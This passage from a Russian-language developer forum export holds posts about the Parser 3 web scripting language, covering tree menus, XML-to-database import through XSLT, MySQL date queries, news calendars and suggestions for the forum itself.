Нужен NN4? Тогда не забываем про layer."
"12361","хочу реализовать каталог продукции, как здесь сделан раздел доки по исходникам: т.е. древовидная структура категорий товара\
\
читал я Мишин пример, всё равно как то не доходит, вот что получилось пока:\
\
[code]\
@printTree[tree_table;item_level][item_level;tree_table]\
^if($tree_table is table){\
  ^tree_table.menu{\
   ^if($tree_table.is_node == 1){\
   	^insFld[$item_level;$tree_table.link_title;$tree_table.id]\
   	^printTree[^tree_table.select($tree_table.parent_id == $tree_table.id);^eval($item_level+1)]\
   	 }{\
   		^insDoc[$item_level;$tree_table.link_title;$tree_table.id]\
   		}\
          }	\
	}{no table!}\
\
\
@insDoc[folder_level;link_title;link_id]\
 insDoc(aux$folder_level,gLnk(\"R\",\"$link_title\",\"?product=$link_id\"))\
\
@insFld[level;link_title;link_id]\
^if($level > 1){\
   aux^eval($level+1) = insFld(aux^eval($level),gFld(\"$link_title\",\"?product=$link_id\"))	\
	}{\
^if($level==1){aux1 = insFld(foldersTree, gFld(\"$link_title\", \"\"))}{\
	^if($level==0){foldersTree = gFld(\"$link_title\", \"\")}\
	} 	\
	}\
[/code]\
\
просто может кто объяснит алгоритм…\
"
"12362","http://msdn.microsoft.com/library/default.asp?url=/library/en-us/htmlhelp/html/hwMicrosoftHTMLHelpDownloads.asp"
"12363","Я могу указать в сьюрсах, а то картинка совсем маленькая будет.\
Я сообщу когда и куда буду публиковать.\
OK?"
"12365","я же говорю, что от правого края растояние всегда разное, страница динамическая.\
\
Я не могу left с точностью высчитать, он всегда разный!\
\
[i]Я согласен, что если [code]position:absolute[/code], то [code]display[/code] не нужен, но так не пойдет.[/i]\
или пойдет? не доганю что-то."
"12366","во втором примере метод body_main вызывается из body.\
а сам body вызывается из main.\
\
возможно, вы делали уроки не по шагам, или что-то упустили, и ваш метод body_main попросту не вызвался?"
"12367","я написал:\
<I>Я согласен, что если, [code]position:absolute[/code] то [code]display[/code]не нужен, но так не пойдет.</I>\
\
А он вывел:\
<I>Я согласен, что если, тоне нужен, но так не пойдет.</I>\
"
"12369","[code]\
<xsl:template match=\"body\">\
	<xsl:apply-templates/>\
</xsl:template>\
[/code]"
"12370","[code]\
<xsl:template match=\"body\">\
	<xsl:copy-of select=\"*\"/>\
</xsl:template>\
[/code]"
"12371","Как лучше вытаскивать данные из XML файла в БД? Требуется вытаскивать данные из различных элементов документа и вставлять их в разные поля. Все узлы, кроме одного не могут иметь вложенных элементов, а тот который имеет вложенные элементы, точнее его PCDATA и все дерево элементов, должны быть засунуты без изменений в поле типа text.\
\
С элементами с текстовым содержанием все просто, вытягиваем из них данные с помощью DOM методов selectString:\
[code]\
$xml_src[^xdoc::create{...}]\
^xml_src.selectString[string(pcdataElement)]\
[/code]\
\
но вот с элементным содержанием сложнее, - я не нашел как его передавать с помощью DOM в неизменном виде, поэтому я решил его передавать с помощью XSLT преобразования применяя специальную таблицу, которая находит требуемый элемент и просто с помощью директив copy-of передает его содержание без изменения:\
[code]\
$styleSheet[^xdoc::load[path_to_special_xsl_stylesheet]]\
\
$transformedDoc[^xml_src.transform[$styleSheet]]\
\
$document[^transformedDoc.string[$.method[xml]]]\
[/code]\
Таблица выглядит например так:\
[code]\
...\
<xsl:template match=\"treeElement\">\
	<xsl:copy-of select=\"*\"/>\
</xsl:template>\
\
<xsl:template match=\"pcdataElement\"/>\
...\
[/code]\
Вроде все работает, но мне это кажется очень некрасиво сделанным."
"12372","описывал таблицу: имена, типы данных и xpath для получения колонки.\
после чего напускал XSL transform, получал… код на Parser с SQL командами внутри ;) этот код компилировал и выполнял.\
\
таблица описания входного файла и создаваемой таблицы в базе:\
[code]\
name	type	size	valueXPath	node\
card_id	integer		@id	Holder\
login_name	varchar	20	ACL/Login	\
login_password	varchar	20	ACL/Password	\
person_first_name	varchar	50	PersonalData/Initials/FirstName	\
person_middle_name	varchar	50	PersonalData/Initials/MidName	\
person_last_name	varchar	50	PersonalData/Initials/LastName	\
person_email	varchar	100	PersonalData/EMail	\
card_name	varchar	101	CardData/CardName	\
card_number	varchar	20	CardData/CardNumber	\
balance	integer		Balance	\
[/code]\
\
соответственно, мы можем и программно создать нужную таблицу (на случай, если формат поменяется) и относительно несложно вести сам импорт.\
\
вот не жалко:\
[code]\
# Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
@auto[]\
$field[^table::load[card/card.cfg]]\
#^create-mysql[]\
$ignore_sequence(1)\
\
@create-mysql[]\
^^void:sql{\
	drop table card\
}	\
^^void:sql{\
    create table card (\
	^field.menu{\
		$field.name $field.type \
		^if($field.size){($field.size)}\
		^if(^field.offset[]==0){not null primary key}\
	}[,]\
    )\
}\
^^void:sql{\
	drop table card_sequence\
}\
^^void:sql{\
	create table card_sequence (\
		card_sequence_expect_no double\
	)\
}\
^^void:sql{\
	insert into card_sequence values (1)\
}\
\
@isCard[letter] true when letter is holder update\
#^throw[x;'$letter.file.value.name']\
$ext[^file:justext[$letter.file.value.name]]\
#^throw[x;'$ext']\
$result(^ext.lower[] eq pgp)\
\
@doCard[letter]\
$letter_file_name[^file:basename[$letter.file.value.name]]\
#^if(^file:justext[$letter_file_name] eq pgp){\
#	encrypted, decrypt\
	$decrypt[^file::exec[card/gpg.sh;\
		$.stdin[$letter.file.value]\
		;--no-secmem-warning;--skip-verify;--homedir=/.../secure;--decrypt;-]]\
	^if($decrypt.status){\
		^throw[decrypt.error;status=$decrypt.status, stderr=$decrypt.stderr]\
	}\
	$letter_text[$decrypt.text]\
#}\
\
$parts[^letter_file_name.match[(\\d+)][g]]\
$letter_sequence_no($parts.1)\
$card_sequence_expect_no(^double:sql{select card_sequence_expect_no from card_sequence})\
#^throw[test;^card_sequence_expect_no.format[%.0f]]\
^if(!$ignore_sequence){\
    ^if($letter_sequence_no < $card_sequence_expect_no){\
    	^throw[mail.ignored;received sequence# < expected (^letter_sequence_no.format[%.0f] < ^card_sequence_expect_no.format[%.0f])]\
    }\
    ^if($letter_sequence_no > $card_sequence_expect_no){\
    	^log[warning;mail.gap;received sequence# > expected (^letter_sequence_no.format[%.0f] > ^card_sequence_expect_no.format[%.0f])]\
    }\
}\
\
^process{\
	^script[^xdoc::create{^untaint{$letter_text}}]\
}\
\
^void:sql{update card_sequence \
	set card_sequence_expect_no=^letter_sequence_no.format[%.0f]+1\
}\
\
^log[success;$updateType#^letter_sequence_no.format[%.0f];$updateCount records from $letter.from $decrypt.stderr]\
\
@script[input]\
#^input.save[card/input.txt]\
$stylesheet[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
<s:stylesheet xmlns:s=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
	<s:template match=\"$field.node\">\
	\
		^^void:sql{delete from card where $field.name=<s:value-of select=\"$field.valueXPath\"/>}\
		^^void:sql{\
			insert into card values (\
				^field.menu{\
					$around[^if($field.type eq varchar){'}]\
					$around<s:value-of select=\"$field.valueXPath\"/>$around\
				}[,]\
			)\
		}\
			\
	</s:template>\
\
	<s:template match=\"/Body\">\
		^^throw[mail.format^;invalid update type <s:value-of select=\"@type\"/>]\
	</s:template>\
\
	<s:template match=\"/Body[@type='UPDATE' or @type='FULL']\">\
		<s:if test=\"@type='FULL'\">\
			^^void:sql{delete from card}\
		</s:if>\
		<s:variable name=\"nodes\" select=\"$field.node\"/>\
		<s:apply-templates select=\"^$nodes\"/>\
		^$updateType[<s:value-of select=\"@type\"/>]\
		^$updateCount(<s:value-of select=\"count(^$nodes)\"/>)\
	</s:template>\
\
</s:stylesheet>\
}]\
#^stylesheet.save[card/generated.xsl]\
\
$output[^input.transform[$stylesheet]]\
#^output.save[card/output.txt]\
^output.string[\
	$.mode[xml]\
]\
[/code]"
"12373","У меня апач работает с suexec, safemode parser'a мне уже не нужен.\
Теперь вопрос. Собираю parser3 из исходников, на make мне дает:\
\
make[2]: Entering directory `/home/src/parser3/src/main'\
make[2]: *** No rule to make target `pa_common.@OBJEXT@', needed by `libmain.a'.  Stop.\
\
и вылетает. redhat 7.2. подскажите в чем проблема."
"12374","я думал мой вариант самый навороченный (сделанный через задницу), но этот ещё сложнее, правда тут более универсальное решение. За идею спасибо, в коде буду разбираться, наверно найду чего-нибудь полезное :)\
\
Да, и чуть не забыл, - мне не надо таблицу создавать, она есть, просто туда нужно периодически записывать данные из XML, т.е. приведенный код нужно маленько изменить."
"12375","несчастье привело такие Makefiles в архивы исходных файлов в раздел download.\
\
возьмите исходники из CVS, там уже починено.\
\
с выходом следующей версии выложу и архивы с исходниками с нормальными Makefiles."
"12377","ты хочешь, чтобы тебе объяснили, что ты написал? :)\
\
или что-то не работает, и ты не можешь понять \"почему\"?\
\
пара комментариев по коду:\
1. в @printTree не надо, IMHO объявлять локальную item_level\
2. я бы не в @printTree в зависимости от условий выводил текст вызывая тот или иной метод, я вызывал-бы всегда один метод (как в прмере) а в нем анализировал и выводил-бы разный текст.\
3. посмотри таки на другой вариант реализации в примере: с хешом, он значительно эффективнее.\
"
"12379","нужно нанести надпись на изображение.\
подскажите, где достать файлы с шрифтами?"
"12380","..вертикальной колонкой писал нужные мне знаки и всё."
"12381","вот из доки кусок:\
\"...\
Можно либо использовать готовые файлы шрифтов, либо самостоятельно создавать собственные с нужным набором символов. \
...\"\
\
так где лежат эти \"готовые файлы шрифтов\"?\
"
"12382","нарисуете и пришлёте, будут лежать.\
\
документация писалась сразу из расчёта на то, что добрые люди пришлют, а они медлят."
"12383","и у народа на HDD\
\
http://narisoval.ru/"
"12384","Я собрал все как советуется в примерах, а там ведь именно так и \
\
вызывается, как вы пишите,а?\
\
Я просмотрел весь код и не смог найти различий, вроде все ОК! Но дело \
\
стоит...\
\
Плиз, выберите минутку, сбросьте мне код того, где как вам видится я \
\
ошибся. Прошу помочь!\
\
Сергей"
"12385","приведите ваш код функций main и body. сообщите, в каких файлах они определены.\
сообщите, в каком файле вы определили body_main.\
\
не поленитесь."
"12386","жаль, но раньше точно были"
"12387","пишу:\
[code]\
$adress[$request:uri]\
$parts[^adress.split[/;v]]\
[/code]\
получаю:\
[i]'split' string method not found  type: parser.runtime[/i]\
\
что это может быть?"
"12388","вы не могли бы объяснить алгоритм?\
не того что я написал, а вообще как можно решить даную задачу...\
мне не хотелось бы наглеть, но может вы просто дадите посмотреть как у вас это реализовано, в доках по исходникам,\
ведь вы там это меню через парсер генерировали?\
и народу думаю будет интересно! "
"12389","  Имеет ли смысл откаазаться от хранения в базе\
структуры ?\
типа \
uri | class | xsl\
\
когда-то от этого отказался, вызывая класс\
xxx.p и xxx.xsl на него\
по запросу http://www.blabla.bla/xxx/\
\
а по запросу http://www.blabla.bla/xxx/zzz/\
xxx_zzz.p и тот же xxx.xsl\
\
но что-то мне в этом не нравиться ...\
избыточность ?"
"12392","По моему он достаточно прозрачен для понимания (в том виде, в каком он описан). Если не понятны конкретные места в нем - тыкай пальцем, объясню.\
\
В доках по исходникам меню не генериться парсером.\
\
Все древовидные структуры, которые делаются парсерам на этом сайте (весь этот сайт в базе в виде дерева) делаются на основе алгоритма, приведенного в примерах."
"12394","Ultra? Это UltraEdit? :-/"
"12395","В доке написано:\
[i]Числовое значение объекта класса date равно числу суток с 01.01.1970 00:00:00(UTC) до даты, заданной в объекте.[/i]\
\
А как получить число суток. Например 14578 суток прошло с 01.01.1970 00:00:00"
"12396","Нашел ошибку, извините что обеспокоил по пустякам и своей \
невнимательности. Ошибка была в том, что: \
@body_additional[] \
Главная страница сайта \
@body_main[] \
Основное содержание \
\
я прописал там же, в auto.p\
\
Спасибо, за советы\
\
=====================================\
\
Теперь другая проблема, связанная с базой.\
Ошибка при добавлении новости\
c:/fireserv/www/im/auto.p(2): 'mysql://root@localhost/p3test' \
\
$SQL:drivers table must be defined  type: parser.runtime\
В auto.p в самом начале прописано\
<<\
@auto[] \
$connect_string[mysql://root@localhost/p3test] \
\
@main[] \
>>\
\
Высылаю дам базы\
=====================================\
БД p3test - таблица news на localhost\
# phpMyAdmin MySQL-Dump\
# version 2.2.6\
# Хост: localhost\
# Версия сервера: 3.23.51\
# Версия PHP: 4.2.1\
# БД : `p3test`\
# --------------------------------------------------------\
# Структура таблицы `news`\
#\
CREATE TABLE news (\
  id int(255) NOT NULL auto_increment,\
  data date NOT NULL default '0000-00-00',\
  header varchar(255) NOT NULL default '',\
  body text NOT NULL,\
  PRIMARY KEY  (id)\
) TYPE=MyISAM;\
=================================\
  \
Плиз, выручайте! Где может быть проблема?\
\
\
Сергей"
"12397","PAF, ессно, это сообщение не писал. Просто интересно, позволяет ли форум писать сообщения под именами зарегистрированных пользователей?"
"12398","Так чего копировать элементарный запрос \
[code]insert into users \
         (name, date) \
      values  \
         ('$form:name', '$form:date')[/code]\
\
И выдает такую ошибку, уже мозги кипять!"
"12400","да сколько хочешь, только отметьте разницу в написании.\
то: какой-то серый PAF, и только этот: чёрный по-настоящему."
"12401","Аксес через одбс"
"12402","поиск по форуму тоже не молчит. используйте."
"12403","Тут такой вопрос у меня - \"хитрый\"..:)\
\
Один человек взялся за Парсер - я посоветовал. По натуре своей он PHP'шник, задал мне такой вопрос - есть ли в Парсере оператор, идентичный sleep() в  PHP? Это задержка выполнения скрипта. Зная, что такой фичи в Парсере нет, но помня уроки ассемблера, я сказал, что это можно запорсто сделать с помощью вложеных for-циклов. Но вот какое количество этих циклов вкладывать - я и сам не знаю. В *nix версии Парсера есть rusage, с помощью которого можно просчитать время выполнения задачи, но у меня Win32.\
\
Ни кто не посчитает (на *nix), сколько нужно (или какой код заюзать) циклов, чтоб имитировать delay в секунду?"
"12404","[code]\
$days($date)\
$days\
[/code]"
"12405","у меня внутри есть sleep.\
можно сделать доступным.\
\
но зачем нужен-то?"
"12407","просто другу Парсер так расписал, что он аж не-нарадуется. Не хочется упасть в грязь из-за такой мелочи..:)\
\
Если серьезно - я пока применения sleep() не нашел, но друг говорит, что это сильная вещь - обещал позже разъяснить(сейчас занят изученем Парсера..:)..)"
"12410"," просто высчитать код не можете? Я уверен - ваша система позволяет. Просто мне уже самому интересно - как долго обрабатывается, допустим, вот этот код : \
[code]\
$x(0)\
^for[f1](1;255){\
        ^for[f2](1;255){\
                $x($x)\
        }\
}\
$x\
[/code]\
? \
Как быстро я получу значение $x ?"
"12411","и даже если не переплюнешь этот порог, то на разных системах результат будет разный (наверное это очень странно звучит)\
\
:)"
"12412","Очень возможно, что для того, чтобы удовлетвориться полностью потребуется немного подогнать под себя приведенный метод :)\
\
P.S. в примерах иногда бывает интересное, чес-слово ;)"
"12413","и только вам не жалко свой процессор грузить циклами.\
\
где-то мне попалось такое высказывание:\
\
[quote]\
я понимаю, что на вашем sparc бесконечный цикл крутится 6 секунд, это не повод не оптимизить код\
[/quote]"
"12414","[code]\
@body_main[] \
<b><h1>НОВОСТИ</h1></b> \
$day(^if(def $form:day){ \
   $form:day \
}{ \
   $now.day \
}) \
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day' \
   }] \
   ^if($news){ \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
   }{ \
      За указанный период новостей не найдено. \
   } \
} \
[/code]\
как правильно построить запрос к БД? чтоб выбирать за месяц?\
[code]\
select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day' \
[/code]\
\
пробую так, но че-то ничего не выбирает \
[code]\
@select_for_header_by_month[month;limit][month;limit]\
$temp_date[^date::create($date_now.year;$month;15)]\
^if(def $limit && def $month){\
	^MAIN:dbconnect{\
		$result[^table::sql{select id, autor, date, header from news where date < '${date_now.year}-^temp_date.roll[month](1)-1 00:00:01' \
									and date > '${date_now.year}-${month}-1 00:00:01'\
									order by date desc}[$.limit($limit)]]\
	}\
}\
[/code]"
"12415","Пардон! Нашел ошибку в разности названия полей data и date. А вот \
\
сейчас вообщей чудная ошибка или не знаю что это.\
Нажимаю добавить новость... происходит быстрое обновление страницы и \
\
все??? В базу данные не поступают. Переустновил сервер - все тоже \
\
самое. Пробовал ручками добавить записи в базу - все ОК! а через \
\
форму не идет. Господа хорошие, где мне поискать проблему. А?! :))) \
\
Выручайте!\
\
Сергей"
"12416","поподробнее распиши проблему."
"12417","Далее... Идем сюда: http://www.mysql.com/documentation/mysql/bychapter/manual_Tutorial.html#Date_calculations\
\
и внимательно читаем о функциях работы с датами - для общего развития.\
\
далее, идем сюда: http://www.mysql.com/documentation/mysql/bychapter/manual_Reference.html#Date_and_time_functions\
\
первый-же пример покажет нам как получить данные за последние 30 дней (не за последний месяц, проще заметить). далее задаем резонный вопрос - а надо-ли за последний месяц получать новости? что посетитель увилит 1-го числа? пустоту? ну если надо, начинаем читать дальше...\
\
точнее читать уже нечего, все, что нудо - я упомянул выше. используй например что-то типа этого:\
YEAR(NOW()) = YEAR(date) AND MONTH(NOW()) = MONTH(DATE)\
\
Можно как ты пытаться создать ПОЛНУЮ ДАТУ и потом проверить, принадлежит-ли она диапазону, но... я считаю, что это хуже: _строка_ твоей полной даты будет преобразовываться к дате и потом будут производиться вычисления. Хотя в случае индекса найти принадлежность диапазону не сложно.\
\
В любом случае - напишешь запрос - explain его...\
\
\
"
"12419","[code]\
@sleep[sec]\
$now[^date::now[]]\
$temp_time[$now]\
$exit_sleepmode_time(^eval($now.seconds+$sec))\
^while($temp_time.seconds<$exit_sleepmode_time){$temp_time[^date::now[]]}\
[/code]\
но здесь нужно условие доделать, т.е. вдруг ту будешь запускать\
напримре 2003.12.31 24ч 59мин 59сек,\
так что после все там сравнений...\
нужно передовать в метод на 1 сек меньше :)))\
это извращ чистой воды так что нужно чтоб было реализовано в интерпретаторе...:)\
но зачем это нужно????\
ведь чем быстрей отдаёться страница тем лучше, если только то для доступов к одному файлу... но это решаться по другому Александр как то писал так что пусть друг там напрягёт фантазию:))))"
"12420","Я так понимаю, CMS мы уже написали? Может я чего интересное пропустил?\
Сдается мне, что нашим gu.ru некогда, а остальные как в анекдоте - \"чукча не писатель, чукча - читатель\".\
На одного пишущего в форум, наверное, человек сто молча читающих. \
Misha v.3., так?\
\
Давайте хоть своих библиотек/классов в Примеры накидаем, что ли? Всё вперед будет.\
"
"12421","Отчасти offtopic, но все же...\
\
Здесь многие, IMHO, пользуются для правки parser-кода UltraEdit'ом. \
Попробовал и я - удобно, особенно с egr'овским (tnx Egoroff!) wordfile.txt для раскраски кода parser'а. Просто GUI какой-то...\
Я для себя сделал кое-какие поправки в wordfile.txt, так может кому сгодится:\
\
Если в разделе /L9\"Parser 3\" поменять строку /Function String = \"name=*\" на строку /Function String = \"%@*[\", то в окне функций (вызывается по F8) будет виден список всех определений методов (типа @метод[]).\
А если надо еще видеть (и быстро перемещаться по ним) вызовы методов (типа ^метод), то добавить еще строку /Function String 1 = \"^^*\".\
Если не включена опция Sort List, увидим определения методов и их вызовы в том порядке, как они появляются в тексте, что приблизительно соответствует структуре листинга. Удобно для быстрой навигации по тексту!\
Вообще, как я понимаю, чтобы узнать, \"функция ли этот фрагмент строки\", здесь применяются регулярные выражения (regexp).\
\
Может быть, есть еще какие-либо tricks для пущего удобства работы в UE с parser'ом? Поделитесь, кому не жаль.\
В частности, раз в UE имеется возможность запускать внешние программы и получать их вывод в специальное окно, то, мобыть, можно использовать вызов parser.exe для проверки текста на правильность синтаксиса?\
\
И, напоследок, еще одна просьба к UEвым парсеристам :-) - нет ли у кого ctags.exe? UE хочет его для работы с некими CTAG файлами, а у меня в дистрибутиве UE9.0b его нет :(.\
\
Еще раз миль пардон за offtopic.\
"
"12422","тип поля date DATETIME.\
эта функция нужна мне для архива новостей. В архиве, в качестве навигации у меня список месяцев, т.к. в данном случае новостей не ожидается очень много. \
\
Поэтому мне необходимо вытаскивать из БД новости за конкретный месяц(за январь, или март, по какому кликнут), а за 30 дней будет смотреться не логично.\
\
сегодня доделал и всё заработало.\
Вот функция:\
[code]\
@select_for_header_by_month[month;limit][month;limit]\
$temp_date[^date::create($date_now.year;$month;1)]\
^temp_date.roll[month](+1)\
^if(def $limit && def $month){\
	^MAIN:dbconnect{\
		$result[^table::sql{select id, autor, date, header from news \
				where date < '${date_now.year}-${temp_date.month}-1 00:00:01' and\
				date > '${date_now.year}-${month}-1 00:00:01'\
				order by date desc}[$.limit($limit)]]\
	}\
}\
[/code]\
\
задумка такая была\
[code]$temp_date[^date::create($date_now.year;$month;1)][/code] - создаем вымышленную дату, в которой месяц нам заданный;\
[code]^temp_date.roll[month](+1)[/code] - увеличиваем поле month на 1, т.е. получаем следующий месяц;\
далее проверяем на попадание в промежуток между 1 чилом 00:00:01 (первой секундой) заданного месяца и 1 числом 00:00:01 (первой секундой) следующего месяца. \
\
первые числа взял я чтоб не мучатся с 30 чилом 31, 29\
\
[code]\
$result[^table::sql{select id, autor, date, header from news \
				where date < '${date_now.year}-${temp_date.month}-1 00:00:01' and\
				date > '${date_now.year}-${month}-1 00:00:01'\
				order by date desc}[$.limit($limit)]]\
[/code]"
"12423","Вот задачка: в календаре хотелось бы выводить ссылку на новости только для тех дат, за которые эти самые новости (в базе) имеются, а для остальных дней - только текст.\
Первое, что приходит на ум - делать выборку по каждой дате и, если она (выборка) не пуста - выводить ссылку. Неэлегантно как-то: 28-31 выборок получается...\
#\
Есть решение оптимальнее? Может при добавлении новости перекидывать какой-то флажок (1/0) в специальном поле, а при выводе проверять его статус? Или держать таблицу, куда писать непустые даты? Что скажете?\
#\
"
"12424","2Misha v.3: \
1) Почему бы не выводить форму поиска по форуму не только на главной странице, но и на страницах с текстом сообщения? Слева, под кнопкой \"Ответить на сообщение\". Почему обязательно возвращаться на home форума?\
2) IMHO, фильтр по дате и фильтр по автору можно объединить в один блок - блок поиска.\
3) На странице с текстом сообщения, когда заголовок очень длинный, не происходит переноса строки и, как следствие, появляется горизонтальный скроллинг, что, в общем-то, \"не есть хорошо\".\
\
Ну и мечты: \
- Кнопка \"Отправить текст сообщения на электропочту\" (собственный email зарегистрированного пользователя). Я понимаю, что делать нечто вроде \"Отправь это сообщение другу\" чревато боком - заспамят насмерть.\
\
- И уж совсем \"голубая\" мечта (в хорошем смысле слова :-) - возможность отправлять сообщения на форум из почтового клиента (многие IMHO читают форум по почте, в offline).\
\
- Можно, далее, сделать подсчет читаемости сообщений. Вот есть ведь Top10 писателей, почему не быть рейтингу популярности сообщений? Самые популярные затем - в FAQ их, в FAQ!\
\
- Поисковые запросы как-то анализируются? Чего народ ищет чаще всего. Их можно было бы предлагать готовыми ссылками. \"Самый популярный в нашей синагоге отходняк\" (с) Розенбаум.\
\
Это, конечно, всего лишь \"хотелочки\", наверняка у вас есть более важные и срочные задачи, но почему бы и не помечтать...\
\
Да, а разбивка по тематике (\"о доблести\", \"о подвигах\", \"о славе\") на форуме будет?\
"
"12425","> Сдается мне, что нашим gu.ru некогда, а остальные как в анекдоте - \"чукча не писатель, чукча - читатель\". На одного пишущего в форум, наверное, человек сто молча читающих. \
Misha v.3., так?\
\
И это очень хорошо. Было бы хуже, если количество писателей превалировало :) А разработчикам Парсера, ИМХО, и так есть чем заняться - спасибо им, что находят время отвечать на вопросы, в т.ч. и твои и мои...\
\
> Давайте хоть своих библиотек/классов в Примеры накидаем, что ли? Всё вперед будет.\
\
Это и так только поощряется :)\
\
Мне кажется, что пока за CMS не возьмется _профессионал_ - нам с тобой (пользователям) остается только ждать. Печально, но такова жизнь :)\
"
"12426","1.выбираем из БД все интересующие нас даты\
[code]select date from table[/code]\
2.с помощью match вытягиваем именно число, а потом в цикле\
с помощью locate ищем совпадения\
[code]\
#перебираем строки таблицы с календарем \
^days.menu{ \
\
#перебираем столбцы таблицы с календарем    \
   ^for[week_day](0;6){ \
      ^if($days.week_day){ \
         ^if($month.$week_day==$date.day){ \
            число на другом фоне жирным шрифтом (ищем locate и проверяем)\
         }{ \
            число (ищем locate и проверяем)\
         } \
      }{ \
         пустой серый столбец \
      } \
   } \
} \
\
[/code]\
\
\
вот, что нафантазировал, хотя наверно это все же как-то каряво.."
"12427","Кто тебе мешает реализовать все, что ты напридумывал? На своем, разумеется, форуме?"
"12428","0. Считаем, что определена переменные $year и $month - номер года и месяца, за который показываем новости.\
Также, предполагается, что дата новости хранится в поле pub_date.\
1. [code]$knownDates[^hash::sql{\
   select\
      dayofmonth(pub_date) as dm\
   from\
      news\
   where\
      month(pub_date) = $month\
      and year(pub_date) = $year\
}[\
   $.distinct(1)\
]][/code]\
2. Строим календарь:[code]$monthNews[^date:calendar[rus]($year;$month)]\
<table>\
^monthNews.menu{\
   <tr>\
      ^for[i](0;6){\
         ^if(def $knownDates.[$monthNews.$i]){\
            <a href=\"./^year.format[%04d]^month.format[%02d]^monthNews.[$i].format[%02d]/\">$monthNews.$i</a>\
         }{\
            $monthNews.$i\
         }\
      }\
   </tr>\
}\
</table>\
[/code]\
Вот, собственно, и все. Один запрос + один метод класса date.\
По логике, должно работать. Но, возможно, где-нибудь и опечатался - не проверял. Главное - показать идеологию."
"12429","Пункт 1 завалится. Ему нужна будет вторая колонка для построения hash.\
Запрос надо переписать так:[code]select\
   dayofmonth(pub_date) as dm,\
   '1' as value\
from\
   news\
where\
   month(pub_date) = $month\
   and year(pub_date) = $year[/code]"
"12430","С частью идей согласен.\
Если бы меня попросили о подобном на сделанном мною форуме - внес бы некоторые изменения. Не все, но часть. Но я в Мишин код, понятное дело, не полезу, даже имея полный доступ - котлеты отдельно, мухи отдельно. Если кому интересно - расскажу что надо делать. Миша и без меня знает ;-) И ему решать.\
\
А вот слова насчет \"своего форума\" на мой взгляд - неправильные. На своем можно сделать многое. Но ведь этот форум не лично Мишин, PAF'ов, мой или vadbars'ов - мы здесь все живем. И развивать его должны тоже вместе. А без подобных идей и их обсуждения/принятия развития не будет - каждый будет сидеть в своей норке и хвалить свое же болото (ничего личного).\
Я - за усовершенствования. Тем более, за идеи. Пусть это натолкнет хоть кого-нибудь на желание подумать и реализовать. Не важно где и как (в этом форуме или у себя) - думать всегда полезно. Да и куда приятнее отвечать на вопрос о реализации того или иного алгоритма, чем в сотый раз кричать RTFM и STFF, ибо у вопрошающего не получается два байта прописать (опять же, ничего личного) потому что вовремя не подумал."
"12431","про самые популярные запросы -- читай http://www.artlebedev.ru/pr/release_98.html ;-) \
\
От себя хочу добавить, что кнопка \"Дальше >\" на этом форуме работает так, как я совсем не ожидал (вместо следующей страницы пользователь попадает на десять страниц вперёд). \
\
Удачи! "
"12432","А если попробовать вот так:\
[code]\
select id, autor, date, header from news \
   where date like '${date_now.year}-${temp_date.month}%'\
   order by date desc\
[/code]\
\
Или я не прав"
"12433","Командой screen.width я определяю ширину экрана, мне необходимо как-то передать этот параметр Парсеру."
"12434","Спасибо за поддержку, Константин (Luzhnikovskiy <konst@design.ru>).\
Ну, пустили козла в огород! :) Просили идей - у меня их есть.\
\
Форум и FAQ, по-моему, как народ и партия. Вопрос, который более 2-х раз появился в форуме, автоматически оседает в факах (а потом - дальняя дорога ему в мануал). \
Но это идеал, т.к. кому-то надо реально всё это фильтровать, сушить от \"воды\" и складывать в стопочку.\
\
Пока же, IMHO, помогла бы организация архива сообщений форума за месяц, год и т.д. для offline-поиска и размышлений. Что-то типа \"Вчера читал пейджер. Много думал...\"\
Не все же следят за форумом со времени его основания, а читать прошлое в online без выделенки...\
\
Опять же - это лишь просьбы/пожелания. Своего рода \"банк идей\" для дальнейшего развития форума, на основе которого (банка) можно сделать чеклист/todo.\
Может нам в демократию поиграть: спросим народ на предмет идей по дальнейшему развитию форума (сайта?), потом проведем голосование \"чего тебе надобно (в первую очередь), старче?\". \
Если получится большой объем работы для одного Misha v.3., устроить типа конкурса на реализацию той или иной фичи. С раздачей наград, ессно: типа \"^ауреат\" или \"Отпарсил наславу\". Я б на сайте у себя повесил с удовольствием.\
\
OpenSource мы али нет? Если нужны чернорабочие - я готов.\
\
Чего-то я разошелся сегодня... Может съел чего-нибудь :)\
"
"12435","1) Насчет необходимости профессионала - это совершенно верно. Впрочем, так же верно, как и то, что _всё_ в жизни должен делать профессионал (так хотелось бы).\
С другой стороны, откуда ж они берутся, профи эти, как не из нас (простых юзверей) вырастают :-)\
\
IMHO, у нас - продвинутых пользователей - тут есть своя, совершенно определенная задача: осознать, чего хочет рядовой user и постараться передать этот \"немой крик\" профессионалу в виде конкретного ТЗ. \
Т.е. быть толмачами, переводчиками с обычно-человеческого (юзвериного) языка на профессионально-птичий. Кажется, это называется, по умному, \"постановщик задач\" (кому-то, по слухам, за это еще и деньги платили :). Это, на мой непроявященный взгляд, не менее важно, чем отделять данные от дизайна.\
\
Поэтому, не стоит ждать прихода мессии. Будем говорить о своем, о девичьем, будем писАть корявые коды, пока какому-то профи не надоест всё это и не скажет он: \"Да будет, #;%*?^, СMS!\" :) \
\
\
2) Что касаемо \"накидать библиотек/классов в Примеры\", то, опять же IMHO, хоть это и \"только поощряется\", но ведь \"народ-то безмолвствует\"...\
Похоже, что психология тут такая: пока молчишь - за умного сойдешь. \
Хотя я могу понять и \"отцов-основателей\": проверять чужие каракули - то ещё удовольствие...\
\
---\
Извините за многословие - сестры, видать, у меня нет :)\
"
"12436","например у тебя страница index.html,\
нужно передать через строку запроса \
window.location.href='?width='+screen.width\
а на этой странице проверяешь \
^if(^form:width.int(0)>0){то делаешь чё те надо наверно какой -нибудь ресайз}{а тут пишешь что то типа уважаемый пользователь не ковыряйтесь там где не нужно}:)))"
"12438","Выводи 1-пиксельную картинку c помощью document.write()\
В адресе картинки и передавай все параметры"
"12439","он не может знать что там у клиента, а браузер не посылает в заголовке запроса разрешения экрана:))))\
так что при тензии к разроботчикам стандарта"
"12440","Медленнее, чем функции month() и year().\
Да и предназначен он для строк, а не для дат. И это беда MySQL, что можно полайкать дату со строкой ;-)"
